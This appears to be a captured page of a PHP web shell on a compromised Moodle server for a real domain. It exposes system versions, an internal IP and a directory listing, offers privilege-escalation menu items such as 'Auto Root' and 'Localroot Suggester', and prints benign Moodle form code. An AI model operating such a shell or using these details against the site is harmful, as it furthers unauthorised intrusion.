Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
mod /
data /
Delete
Unzip
Name
Size
Permission
Date
Action
backup
[ DIR ]
drwxr-sr-x
2017-06-22 15:10
classes
[ DIR ]
drwxr-sr-x
2017-06-22 15:19
db
[ DIR ]
drwxr-sr-x
2017-06-22 15:19
field
[ DIR ]
drwxr-sr-x
2017-06-22 15:11
lang
[ DIR ]
drwxr-sr-x
2017-06-22 15:11
pix
[ DIR ]
drwxr-sr-x
2017-06-22 15:20
preset
[ DIR ]
drwxr-sr-x
2017-06-22 15:11
tests
[ DIR ]
drwxr-sr-x
2017-06-22 15:20
css.php
1.56
KB
-rw-r--r--
2017-06-22 15:19
data.js
1.89
KB
-rw-r--r--
2017-06-22 15:19
edit.php
13.14
KB
-rw-r--r--
2017-06-22 15:19
export.php
4.2
KB
-rw-r--r--
2017-06-22 15:19
export_form.php
3.94
KB
-rw-r--r--
2017-06-22 15:19
field.php
13.58
KB
-rw-r--r--
2017-06-22 15:20
import.php
6.7
KB
-rw-r--r--
2017-06-22 15:20
import_form.php
1.26
KB
-rw-r--r--
2017-06-22 15:20
index.php
4.9
KB
-rw-r--r--
2017-06-22 15:20
js.php
1.57
KB
-rw-r--r--
2017-06-22 15:20
lib.php
141.03
KB
-rw-r--r--
2017-06-22 15:20
locallib.php
24.39
KB
-rw-r--r--
2017-06-22 15:20
mod_form.php
4.8
KB
-rw-r--r--
2017-06-22 15:20
module.js
382
B
-rw-r--r--
2017-06-22 15:20
preset.php
10.91
KB
-rw-r--r--
2017-06-22 15:20
preset_form.php
2.9
KB
-rw-r--r--
2017-06-22 15:20
renderer.php
4.23
KB
-rw-r--r--
2017-06-22 15:20
rsslib.php
7.33
KB
-rw-r--r--
2017-06-22 15:20
settings.php
606
B
-rw-r--r--
2017-06-22 15:20
styles.css
2.54
KB
-rw-r--r--
2017-06-22 15:20
tabs.php
5.24
KB
-rw-r--r--
2017-06-22 15:20
templates.php
14.75
KB
-rw-r--r--
2017-06-22 15:20
upgrade.txt
329
B
-rw-r--r--
2017-06-22 15:20
version.php
1.18
KB
-rw-r--r--
2017-06-22 15:20
view.php
39.68
KB
-rw-r--r--
2017-06-22 15:20
Save
Rename
<?php if (!defined('MOODLE_INTERNAL')) { die('Direct access to this script is forbidden.'); /// It must be included from a Moodle page } require_once ($CFG->dirroot.'/course/moodleform_mod.php'); class mod_data_mod_form extends moodleform_mod { function definition() { global $CFG, $DB; $mform =& $this->_form; //------------------------------------------------------------------------------- $mform->addElement('header', 'general', get_string('general', 'form')); $mform->addElement('text', 'name', get_string('name'), array('size'=>'64')); if (!empty($CFG->formatstringstriptags)) { $mform->setType('name', PARAM_TEXT); } else { $mform->setType('name', PARAM_CLEANHTML); } $mform->addRule('name', null, 'required', null, 'client'); $mform->addRule('name', get_string('maximumchars', '', 255), 'maxlength', 255, 'client'); $this->standard_intro_elements(get_string('intro', 'data')); // ---------------------------------------------------------------------- $mform->addElement('header', 'entrieshdr', get_string('entries', 'data')); $mform->addElement('selectyesno', 'approval', get_string('requireapproval', 'data')); $mform->addHelpButton('approval', 'requireapproval', 'data'); $mform->addElement('selectyesno', 'manageapproved', get_string('manageapproved', 'data')); $mform->addHelpButton('manageapproved', 'manageapproved', 'data'); $mform->setDefault('manageapproved', 1); $mform->disabledIf('manageapproved', 'approval', 'eq', 0); $mform->addElement('selectyesno', 'comments', get_string('allowcomments', 'data')); $countoptions = array(0=>get_string('none'))+ (array_combine(range(1, DATA_MAX_ENTRIES), // Keys. range(1, DATA_MAX_ENTRIES))); // Values. $mform->addElement('select', 'requiredentries', get_string('requiredentries', 'data'), $countoptions); $mform->addHelpButton('requiredentries', 'requiredentries', 'data'); $mform->addElement('select', 'requiredentriestoview', get_string('requiredentriestoview', 'data'), $countoptions); $mform->addHelpButton('requiredentriestoview', 'requiredentriestoview', 'data'); $mform->addElement('select', 'maxentries', get_string('maxentries', 'data'), $countoptions); $mform->addHelpButton('maxentries', 'maxentries', 'data'); // ---------------------------------------------------------------------- $mform->addElement('header', 'availibilityhdr', get_string('availability')); $mform->addElement('date_time_selector', 'timeavailablefrom', get_string('availablefromdate', 'data'), array('optional' => true)); $mform->addElement('date_time_selector', 'timeavailableto', get_string('availabletodate', 'data'), array('optional' => true)); $mform->addElement('date_time_selector', 'timeviewfrom', get_string('viewfromdate', 'data'), array('optional' => true)); $mform->addElement('date_time_selector', 'timeviewto', get_string('viewtodate', 'data'), array('optional' => true)); // ---------------------------------------------------------------------- if ($CFG->enablerssfeeds && $CFG->data_enablerssfeeds) { $mform->addElement('header', 'rsshdr', get_string('rss')); $mform->addElement('select', 'rssarticles', get_string('numberrssarticles', 'data') , $countoptions); } $this->standard_grading_coursemodule_elements(); $this->standard_coursemodule_elements(); //------------------------------------------------------------------------------- // buttons $this->add_action_buttons(); } /** * Enforce validation rules here * * @param array $data array of ("fieldname"=>value) of submitted data * @param array $files array of uploaded files "element_name"=>tmp_file_path * @return array **/ public function validation($data, $files) { $errors = parent::validation($data, $files); // Check open and close times are consistent. if ($data['timeavailablefrom'] && $data['timeavailableto'] && $data['timeavailableto'] < $data['timeavailablefrom']) { $errors['timeavailableto'] = get_string('availabletodatevalidation', 'data'); } if ($data['timeviewfrom'] && $data['timeviewto'] && $data['timeviewto'] < $data['timeviewfrom']) { $errors['timeviewto'] = get_string('viewtodatevalidation', 'data'); } return $errors; } function data_preprocessing(&$default_values){ parent::data_preprocessing($default_values); } }